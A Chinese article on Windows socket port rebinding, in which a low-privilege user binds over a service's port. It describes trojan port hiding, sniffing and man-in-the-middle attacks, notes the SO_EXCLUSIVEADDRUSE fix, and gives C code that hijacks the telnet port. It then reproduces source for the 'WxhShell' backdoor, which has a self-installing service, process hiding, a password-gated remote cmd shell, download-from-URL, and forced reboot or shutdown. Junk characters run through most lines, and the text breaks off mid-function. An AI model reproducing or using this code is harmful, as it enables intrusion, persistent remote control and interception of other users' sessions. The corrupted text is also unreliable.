在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
:H8`z8=0f{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
mNDd>4%H_ |qq7vx
saddr.sin_family = AF_INET;
Js0h lWu "74Rn"d5 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
3o.9}`/ i[N=. bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0<$t9:dq nf,u'}psdJ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
~}@cSv'(1 ^)i1b:4 这意味着什么?意味着可以进行如下的攻击:
B4kJ 7Pdny tvEf-z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Wu|ANc 6b7SA, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
KwxO%/-}S AD0pmD 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
cd3;uB4\, ZGgM-O1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
L; (J6p]h uk<JV*R= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
T~G~M/ tEl_a~s*3? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
wxW\L!@ 0~GtK8^B 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Sft+Gb6 rzO5 3\ #include
6JUjT]S% #include
W*jwf@
0 #include
4lsg%b6_%, #include
3?Tk[m1b DWORD WINAPI ClientThread(LPVOID lpParam);
Dqg~g|(Q< int main()
G\ m`{jv {
i8+[-mh WORD wVersionRequested;
tMOhH
# DWORD ret;
i286`SLU WSADATA wsaData;
7
yp} BOOL val;
*)82iD SOCKADDR_IN saddr;
12y+g5b SOCKADDR_IN scaddr;
:J~sz)n4 int err;
D)){"Q!b SOCKET s;
D\9-MXc1 SOCKET sc;
E5`KUMZkq int caddsize;
$9Pscu bM4 HANDLE mt;
gzd)7np B2 DWORD tid;
W"&Y7("y wVersionRequested = MAKEWORD( 2, 2 );
[
m#|[% err = WSAStartup( wVersionRequested, &wsaData );
rhQv,F9 if ( err != 0 ) {
w^N3Ma printf("error!WSAStartup failed!\n");
s;!Tz) return -1;
T$vDw|KSVP }
M_Z(+k{Gy saddr.sin_family = AF_INET;
(I0QwB 8TV
"9{
n //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?o883!&v vC|V8ea saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
us$=)m~v+ saddr.sin_port = htons(23);
's7 (^1hH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{6Qd,CX {
! 1wf/C;= printf("error!socket failed!\n");
8D5v'[j- return -1;
0k):OVfm= }
:o=a@Rqx val = TRUE;
TW)~&;1l //SO_REUSEADDR选项就是可以实现端口重绑定的
j _p|>f<} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
2PVtyV3; {
&vHfuM` printf("error!setsockopt failed!\n");
$CP_oEb return -1;
,HHCgN
}
KXvBJA$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ReZ&SNJ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ZgH(,g,TU //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
RM `zxFn XPd@>2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
r.#"he_6!. {
_+NM<o#A ret=GetLastError();
YfZ96C[a printf("error!bind failed!\n");
f>kW\uC return -1;
EI!e0V1! }
f.Feo listen(s,2);
8-uRn38 while(1)
7%F8 {
6>R|B?I% caddsize = sizeof(scaddr);
9aKt (g6 //接受连接请求
c2fqueK|:W sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ml\2%07 if(sc!=INVALID_SOCKET)
,,o5hD0V9 {
MbJ|6g99 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,bnrVa(I if(mt==NULL)
Uh=@8v {
wr{ [4$O printf("Thread Creat Failed!\n");
K! e51P break;
Ubf@"B }
'3eL^Aq }
Z&[_8Y5j CloseHandle(mt);
;fl3'.S[ }
1C]mxV=% closesocket(s);
4o``t] WSACleanup();
DF`?D
+ return 0;
|
l|7[ }
}[c,/NH DWORD WINAPI ClientThread(LPVOID lpParam)
zd-qQ.j0 {
(yxHXO9N SOCKET ss = (SOCKET)lpParam;
%SJ2W>e SOCKET sc;
@b5zHXF83E unsigned char buf[4096];
RZrQ^tI3" SOCKADDR_IN saddr;
Y24H`
s1u/ long num;
OS7^S1r- DWORD val;
E
whCX'Vaj DWORD ret;
+%: /!T@@ //如果是隐藏端口应用的话,可以在此处加一些判断
/hksESiU //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
_zF*S]9
X saddr.sin_family = AF_INET;
Pt^SlX^MM saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
zEN3Nn.8 saddr.sin_port = htons(23);
w(-h!d51+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1Bhd- {
\;F_QV printf("error!socket failed!\n");
*Z:'jV< return -1;
5*P+c(= }
w_hN2eYo&e val = 100;
6<>T{2b:(p if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
IwJ4K+ {
y3{F\K ret = GetLastError();
##_Jz 5P return -1;
6L4<c+v_ }
B?pNF+?'z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
T**v!Ls {
4Ow0g-{ ret = GetLastError();
IqrT@jgN- return -1;
/@qnEP% }
5kbbeO|0G if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
W<sa6,$ {
(W'.vEl printf("error!socket connect failed!\n");
RjW<
H6a"K closesocket(sc);
I/V lH:o closesocket(ss);
EnD}|9
return -1;
bWEti}kW }
r< ~pSj while(1)
' En|-M5 {
h =E)5&Z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=QQTHL{3 //如果是嗅探内容的话,可以再此处进行内容分析和记录
4/:}K>S_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
PbpnjvVrM num = recv(ss,buf,4096,0);
*s1^s;LR if(num>0)
wcW8"J'AH send(sc,buf,num,0);
`j)S7KN else if(num==0)
5N.-m;s break;
glo Y@k~ num = recv(sc,buf,4096,0);
p^>_VE[S if(num>0)
|18h
p send(ss,buf,num,0);
6G0Y,B7& else if(num==0)
{$H-7-O$ break;
mA2L~=v# }
%3;vDB*L$ closesocket(ss);
kACgP!~/1 closesocket(sc);
|X6/Y@N return 0 ;
vv0+F6 @ }
%!X9>i> [3|&!:4g6 rO3.%B} ==========================================================
|0N6]%r MFzJ 8^.1R 下边附上一个代码,,WXhSHELL
b;k3B7< R.'-jvO ==========================================================
h}$g}f%$+ :)=>,XwL8 #include "stdafx.h"
IMcuoQ5 R&MdwTa #include <stdio.h>
VxA?LS` #include <string.h>
Ql8s7 % #include <windows.h>
|x#w8=VP- #include <winsock2.h>
]/ffA|"U` #include <winsvc.h>
734f&2 #include <urlmon.h>
0s'h2={iI bpgvLZb>s #pragma comment (lib, "Ws2_32.lib")
z}z 6Vg #pragma comment (lib, "urlmon.lib")
:/<SJ({q Q}6!t$Vk #define MAX_USER 100 // 最大客户端连接数
1O,:fTG< #define BUF_SOCK 200 // sock buffer
oqUF_kh #define KEY_BUFF 255 // 输入 buffer
;U)xZ _Ew~ 3Z%~WE;I #define REBOOT 0 // 重启
qEJ#ce]G #define SHUTDOWN 1 // 关机
1LZ[i89&% ~;S #define DEF_PORT 5000 // 监听端口
DV{0|E }huFv*<@' #define REG_LEN 16 // 注册表键长度
{'@`:p&3r #define SVC_LEN 80 // NT服务名长度
a2%xW_e M)6iYA%$ // 从dll定义API
B9(@. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ic;M=dsh: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
A29R5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
zN3b`K. i typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
L'L[Vpx !YVGT
< // wxhshell配置信息
HE|XDcYO struct WSCFG {
KBOp}MEz int ws_port; // 监听端口
!*G%vOa char ws_passstr[REG_LEN]; // 口令
N(Sc!rX int ws_autoins; // 安装标记, 1=yes 0=no
+oev NM char ws_regname[REG_LEN]; // 注册表键名
slTE. char ws_svcname[REG_LEN]; // 服务名
q/#pol char ws_svcdisp[SVC_LEN]; // 服务显示名
J:Idt}@z char ws_svcdesc[SVC_LEN]; // 服务描述信息
N}gPf
i char ws_passmsg[SVC_LEN]; // 密码输入提示信息
*hvC0U@3 int ws_downexe; // 下载执行标记, 1=yes 0=no
F?+\J =LT char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
i@m@]-2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
H ]z83:Z "K c/Cs2[ };
3ZUME\U q,m+W='
// default Wxhshell configuration
lx\9 Y 8 struct WSCFG wscfg={DEF_PORT,
q5xF~SQGw2 "xuhuanlingzhe",
Us2IeR 1,
>r\q6f#J4 "Wxhshell",
'4ip~>3?w "Wxhshell",
.L@gq/x) "WxhShell Service",
#1De#uZ "Wrsky Windows CmdShell Service",
rt0_[i "Please Input Your Password: ",
!rsGCw!Pg 1,
MAQ(PIc>T "
http://www.wrsky.com/wxhshell.exe",
(L<qJd1Q "Wxhshell.exe"
XY^]nm-{I };
z_8lf_N ("KtJ // 消息定义模块
1I?`3N char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
$a'}7Q_ char *msg_ws_prompt="\n\r? for help\n\r#>";
fSF_O}kLp char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
oJ?,X^~_ char *msg_ws_ext="\n\rExit.";
Ggk#>O G char *msg_ws_end="\n\rQuit.";
+L|x^B3 char *msg_ws_boot="\n\rReboot...";
QpD-%gN char *msg_ws_poff="\n\rShutdown...";
4;*jE ( char *msg_ws_down="\n\rSave to ";
[\3W_jR %uw7sGz\ char *msg_ws_err="\n\rErr!";
\q@Co42n\ char *msg_ws_ok="\n\rOK!";
Y'<wE2ZL) R} X"di char ExeFile[MAX_PATH];
UC_o; int nUser = 0;
Rt>mAU$} HANDLE handles[MAX_USER];
Lpohc4d[V int OsIsNt;
:s*t\09V7 Ihp
Ea,v) SERVICE_STATUS serviceStatus;
8]mRX~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
H'+3<t> N[A9J7}_R // 函数声明
{)(Mkm+d int Install(void);
jO-T1P']Y int Uninstall(void);
mUy>w int DownloadFile(char *sURL, SOCKET wsh);
>n3ig~0d int Boot(int flag);
sJ{r+wY void HideProc(void);
#(QS5J&Qq int GetOsVer(void);
Ma4eu8
int Wxhshell(SOCKET wsl);
.k$Yleg void TalkWithClient(void *cs);
.W\JvPTC int CmdShell(SOCKET sock);
0V?7'Em int StartFromService(void);
V?)YQB int StartWxhshell(LPSTR lpCmdLine);
~)F_FS `A9fanh VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
:k-@w5( VOID WINAPI NTServiceHandler( DWORD fdwControl );
g&{CEfw& Z;S)GUG^ // 数据结构和表定义
=YIosmr SERVICE_TABLE_ENTRY DispatchTable[] =
4V c``Um {
\H&;.??W {wscfg.ws_svcname, NTServiceMain},
B}nT>Ub {NULL, NULL}
PjofW%7F };
3?D{iMRM ?D|kCw69SE // 自我安装
3xN_z?Rg int Install(void)
3-oKY*jO {
~^'WHuzPy char svExeFile[MAX_PATH];
5`@yX[G HKEY key;
-g:i'e strcpy(svExeFile,ExeFile);
[+8*}03 9kwiG7V1 // 如果是win9x系统,修改注册表设为自启动
'y5H%I! if(!OsIsNt) {
\GV'{W+o2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XD"
4t4~> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-p%cw0*Y]C RegCloseKey(key);
&O#1*y
Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
p"7[heExw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r&ys?@+G RegCloseKey(key);
;VE KrVD return 0;
7{l~\]6d }
Z
+O<IF% }
pFV~1W: }
xB]^^NYE= else {
9Fw NX 6y "]2UgQk // 如果是NT以上系统,安装为系统服务
u/NcX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{;m|\652B if (schSCManager!=0)
jtq^((Ux {
aK]AhOG SC_HANDLE schService = CreateService
U(Bmffn4Z (
k2.k}?w!JO schSCManager,
\.+:yV<$ wscfg.ws_svcname,
Sx (E'?] wscfg.ws_svcdisp,
F\v~2/J5v SERVICE_ALL_ACCESS,
o
q6^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Ck>]+rl SERVICE_AUTO_START,
NTO.;S|2% SERVICE_ERROR_NORMAL,
d c_2nF svExeFile,
:Rnwyj]) NULL,
j,SZJ{ebXg NULL,
E$&bl NULL,
(9=E5n6o NULL,
1*'gaa&y NULL
VS!v7-_N5 );
\zwm:@lG if (schService!=0)
HuKOb4g {
3lEP:Jp CloseServiceHandle(schService);
RTDplv; ] CloseServiceHandle(schSCManager);
FQE(qltf, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
]0SqLe strcat(svExeFile,wscfg.ws_svcname);
CN}0( 2n if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Xy`'h5
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
l8 $.k5X RegCloseKey(key);
d0f(U k return 0;
(d*||" }
O3%#Q3c>3 }
tfh`gUV4 CloseServiceHandle(schSCManager);
E1`_[=8a9 }
=Zsxl]h
}
2- (}=N z]LVq k return 1;
&3xda1H }
Kb-m {*r!oD!' // 自我卸载
V$oj6i{ky int Uninstall(void)
A:(qF.Tm {
-V[!qI HKEY key;
kA)`i`gt T&bB8tQk if(!OsIsNt) {
KoWG:~>| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
AAKc8{ RegDeleteValue(key,wscfg.ws_regname);
%K7;ePu RegCloseKey(key);
~r'ApeI9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&OEBAtc/ RegDeleteValue(key,wscfg.ws_regname);
qV,x )y:V RegCloseKey(key);
@+)T"5_Y[ return 0;
\%%M >4c }
/TIt-c }
II[-6\d! }
C@-cLk else {
St>
E\tXp >Rb
jdM5K4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~Ga{=OM?? if (schSCManager!=0)
L'"c;FF02i {
!L3|5:j SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
7s2*VKr if (schService!=0)
oz[G'[\}F {
jHA(mU)b if(DeleteService(schService)!=0) {
olXfR-2>1 CloseServiceHandle(schService);
0AoWw-H6V CloseServiceHandle(schSCManager);
JS<w43/j return 0;
k)y<iHR_o }
U2~|AkL CloseServiceHandle(schService);
nrXKS&6 }
r?^L/HGc CloseServiceHandle(schSCManager);
/+. m.TF }
9i{(GO }
[D?d~pB osLEH?iKW return 1;
V%C'@m(/SZ }
;vWJOvM2 2
'$nz // 从指定url下载文件
02(Ob int DownloadFile(char *sURL, SOCKET wsh)
\8vZZ t {
n* .<L HRESULT hr;
[;'$y:L=g char seps[]= "/";
Z[,,(M char *token;
/#L4ec-' char *file;
D$w? char myURL[MAX_PATH];
p!<PRms@ char myFILE[MAX_PATH];
Z *v`kl Z-" NLwt[ strcpy(myURL,sURL);
&XXr5ne~C token=strtok(myURL,seps);
Y;dqrA>@ while(token!=NULL)
oJ#;X R {
{?A/1q4rr file=token;
,zJ:a>v token=strtok(NULL,seps);
')2LP;( }
B2WPbox cA|
n*A-j< GetCurrentDirectory(MAX_PATH,myFILE);
Z]5xy_La strcat(myFILE, "\\");
zY-?Bv_D strcat(myFILE, file);
aqQ
U7 send(wsh,myFILE,strlen(myFILE),0);
lACS^( send(wsh,"...",3,0);
U><$p{) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
58`Dcx,yJ if(hr==S_OK)
qK%#$JgqA return 0;
`nc=@" 1 else
9c5DEq return 1;
Wi~?2-!
v`@N R06 }
li#ep?5h^ c s:E^ // 系统电源模块
@Yw42`>!s int Boot(int flag)
"=$uv {
Vp1Nk#H HANDLE hToken;
{Wr5F9q TOKEN_PRIVILEGES tkp;
/NuO>kQa 9pk-#/ag if(OsIsNt) {
B@' OUcUR OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
R#rfnP >
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
fEGnI\ tkp.PrivilegeCount = 1;
'
wp _U/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
nY?&k$n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
iWkC:fQz if(flag==REBOOT) {
xF
3Z> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3,Iu!KB return 0;
{qs>yQ6a:- }
3]7j,1^ else {
X2YBZA if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
9j0o)] return 0;
F8\JL % }
FyChH7 }
o Z%oP V: else {
u!t<2`:h if(flag==REBOOT) {
:+8qtIytKX if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
L} K8cB return 0;
Ve xxdg }
:xY9eq= else {
&QFc)QP{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
N]F}Z#h return 0;
y<l(F?_ }
NFqGbA| }
gIKQip< WM
]eb, 8q return 1;
.kB!',v\ }
l;B %Y9CZRY9 // win9x进程隐藏模块
FJn.V1 void HideProc(void)
&7r a {
O.jCDAP eAjsMED HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
|FSp`P if ( hKernel != NULL )
3`Xzp {
COHook(: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
F!-%v5.y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
dfh 1^Go FreeLibrary(hKernel);
xl@~K^c] }
beNy5~M$ -&lD0p>*g return;
v4XEp
}
D&qJ@PR `A- // 获取操作系统版本
U/_hH*N"! int GetOsVer(void)
L-%'jR {
(O&HCT| OSVERSIONINFO winfo;
lNTbd"}$: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
.Ad9(s GetVersionEx(&winfo);
lbC,*U^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
yJ;Qe_up return 1;
X8wtdd]64 else
` $q0fTz return 0;
}y vH)q }
YPA$38 }'K-1: // 客户端句柄模块
R`B} T<* int Wxhshell(SOCKET wsl)
$EzWUt {
*,~L_)vWO SOCKET wsh;
;v/un struct sockaddr_in client;
UD9JE S, DWORD myID;
dN7.W
0
ZSn r+ while(nUser<MAX_USER)
CTxP3a9] {
d]MpE9@'v int nSize=sizeof(client);
}Yc5U,A; wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
T6."j_ if(wsh==INVALID_SOCKET) return 1;
mu5r4W47 hDQk zqW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
X~SNkM if(handles[nUser]==0)
1U?5/Ja closesocket(wsh);
Vhr 6bu] else
D4uAwmc nUser++;
&gUa^5'# }
(/s~L*gF{ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9ExI, Uv652DC return 0;
4C;y2`C }
>s1?rC i0zrXaKV // 关闭 socket
M?GkHJ %! void CloseIt(SOCKET wsh)
sZ;Gb^{Z {
zx*D)i5- closesocket(wsh);
:8HVq*itS nUser--;
%wI)uJ2 ExitThread(0);
lJdYR'/Wd }
d={o|Mf c?REDj2 // 客户端请求句柄
FFN Sn void TalkWithClient(void *cs)
4nGt*0Er {
j%Xa8$ l(}MM|ka SOCKET wsh=(SOCKET)cs;
F^aD# char pwd[SVC_LEN];
#9F>21UU char cmd[KEY_BUFF];
y.6/x?Qc char chr[1];
%QEyvl4 int i,j;
1[$zdv{A es~1@Jb
while (nUser < MAX_USER) {
=N8_S$nx( @65xn)CD{ if(wscfg.ws_passstr) {
08D:2 z1z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^!0z+M:>^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>/lB%<$/ //ZeroMemory(pwd,KEY_BUFF);
. UH'U\M i=0;
hUuKkUR+Ir while(i<SVC_LEN) {
Dln1 R[ |0?v4%g // 设置超时
S^|U" fd_set FdRead;
+8x_f0< struct timeval TimeOut;
kFC*, FD_ZERO(&FdRead);
[t$ r)vX FD_SET(wsh,&FdRead);
{K6Z.-.` TimeOut.tv_sec=8;
[u37Hy_Gi TimeOut.tv_usec=0;
L F } d int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
BV
}CmU&DA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
V*5v
JF0j Xo]2iQy if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
B]:|;d pwd
=chr[0]; +!E9$U>6%
if(chr[0]==0xd || chr[0]==0xa) { 0@{0#W3R
pwd=0; u@`a~
break; w0lgB%97p
} i/H;4#Bz
i++; }qhYHC
} rpDBKo
EP>Lh7E9n
// 如果是非法用户,关闭 socket v9Sk\9}S
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F:q8.^HTJ
} JbS[(+o
)S 4RR2Q>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -gS9I^
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ {yy{
@ =~k[o
while(1) { .P/0`A{&
:KA)4[#;W
ZeroMemory(cmd,KEY_BUFF); hf0(!C*
1"75+Q>D
// 自动支持客户端 telnet标准 ;<B
j=0; ipg`8*My
while(j<KEY_BUFF) { >1;jBx>Qy%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C.ji]P#
cmd[j]=chr[0]; _*%K!%}l=
if(chr[0]==0xa || chr[0]==0xd) { (a8iCci:
cmd[j]=0; JGTsVa2
break; czpu^BT;;T
} =_z o
j++; 3Il._]#
} |N%
l
at
5N%d Les
// 下载文件 "aCB}
if(strstr(cmd,"http://")) { D&2NO/
R
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'TH[Db'`I
if(DownloadFile(cmd,wsh)) 5 QuRwu_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zGyRzxFN
else D"$Y, d
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3*2~#dh=
} Q\
6-SAS
else { ^>Z_3{s:$
ZvT,HJ0?
switch(cmd[0]) { O65`KOPn
9X=<uS
// 帮助 8>#ZU]cG
case '?': { y*{zX=]l<
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0E!-G= v
break; T)7U+~nQ"
} aK;OzB)
// 安装 `4'=&c9
case 'i': { c1s&
if(Install()) YW&K,)L@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gDLS)4^w
else d4 \
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }EkL[H!
break; k)*apc\W
} pC,[!>0g8
// 卸载 ?{aJ#w
case 'r': { >.`*KQdan
if(Uninstall()) l~o!(rpX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E] /2u3p
else r|4D.O]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nCWoco.xy
break; DMG'8\5C
} O{~Xp!QQt
// 显示 wxhshell 所在路径 T5zS3O
case 'p': { ~nmFZ]y
char svExeFile[MAX_PATH]; T*%GeY
[
strcpy(svExeFile,"\n\r"); lqmQQ*Z
strcat(svExeFile,ExeFile); axvZA:l
send(wsh,svExeFile,strlen(svExeFile),0); 5Ex[}y9L`
break; ZJZSt% r
} OHBCanZZ,
// 重启 D|)_c1g
case 'b': { [.xY>\e
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jGz~}&B
if(Boot(REBOOT)) 3\j`g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /"D,gn1S*
else { y@I9>}"y
closesocket(wsh); "kFH*I+v
ExitThread(0); (i%bQZt^?
} KqJln)7
break; sGhw23
} _d3Z~cH
// 关机 3 5.&!4}
case 'd': { >JE+g[$@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WFahb3kx
if(Boot(SHUTDOWN)) "o`?-bQ:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zNt//,={
else { B<r0y
closesocket(wsh); 0{
mm%@o
ExitThread(0); _`;KmD&5
} z*jaA;#
break; vA_,TS#Bo
} TxF^zx\
// 获取shell 8e>B>'nH
case 's': { ^uUA41o`eJ
CmdShell(wsh); V{oFig 6
closesocket(wsh); !q,'k2=b,
ExitThread(0); k-n`R)p:
break; $%bd`d*S
} `B3-#!2X
// 退出 CUH u=
case 'x': { Pv2uZH(
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v.8kGF
CloseIt(wsh); U"8Hw@
break; hzM;{g>t
} SzB<PP2
// 离开 Yz0fOX
case 'q': { C=o-3w
send(wsh,msg_ws_end,strlen(msg_ws_end),0); W3!-;l
closesocket(wsh); M&/4SVBF
WSACleanup(); .qohHJ&
exit(1); yW'{Z]09
break; Q?1.GuF
} H*k\C
} wg)Bx#>\L:
} q>'#; QA
eC<RM Q4
// 提示信息 ;5X~"#%U_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *GXPN0^Qjo
} k%~;mu"4}
} J#Y0R"fo
_GxC|d
return; dh6kj-^;Cf
} 3xz~##
HN`qMGW^
// shell模块句柄 ",aNYJR>*!
int CmdShell(SOCKET sock) T;B FO5G@
{ g$e|y#Ic$
STARTUPINFO si; Q]=/e7
ZeroMemory(&si,sizeof(si)); m,kYE9{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x[TLlV:{
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KNN{2thy `
PROCESS_INFORMATION ProcessInfo; "aKlvK:77
char cmdline[]="cmd"; zMp vS rc
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N}nE9z5
return 0; u*%mUh
} 2 ^"j]g>mj
u0+F2+ I
// 自身启动模式 $}b)EMMM
int StartFromService(void) YBj*c$.D0
{ .9ZK@xM&?
typedef struct mgH~GKf^
{ @0EY5{&
DWORD ExitStatus; ;k@]"&t
DWORD PebBaseAddress; zx8@4?bK
DWORD AffinityMask; dr"$@
